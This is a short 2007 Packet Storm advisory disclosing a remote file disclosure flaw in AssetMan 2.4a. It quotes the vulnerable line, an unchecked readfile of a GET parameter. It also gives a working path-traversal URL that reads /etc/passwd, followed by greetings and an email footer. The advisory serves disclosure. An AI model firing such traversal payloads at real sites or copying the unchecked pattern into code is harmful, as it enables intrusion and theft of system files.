assetman24-lfi.txt

2007-03-14T00:00:00
ID PACKETSTORM:55054
Type packetstorm
Reporter BorN To K!LL
Modified 2007-03-14T00:00:00

Description

                                        
                                            `+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=  
|  
|AssetMan 2.4a <= (download_pdf.php) Remote File Disclosure Vulnerability  
|  
|Script: AssetMan  
|  
|Verson: 2.4a  
|  
|URL: http://www.bctree.com/~assetman/assetman-2.4a.zip  
|  
|Discover: BorN To K!LL  
|  
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=  
|  
|Bug in:  
|download_pdf.php  
|  
|Code:  
|readfile($_GET["pdf_file"]);  
|  
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=  
|  
|ExploiT:  
|~~~~~  
|wWw.SiTe.cOm/[path]/download_pdf.php?pdf_file=../../../../etc/passwd  
|  
|+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=  
|  
|GreeTz 2:  
|Dr.2 - str0ke - AsbMay .....  
|  
|KuW SeC .... AsbMay's Group ....  
|  
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=  
  
_________________________________________________________________  
Express yourself instantly with MSN Messenger! Download today it's FREE!   
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/  
  
`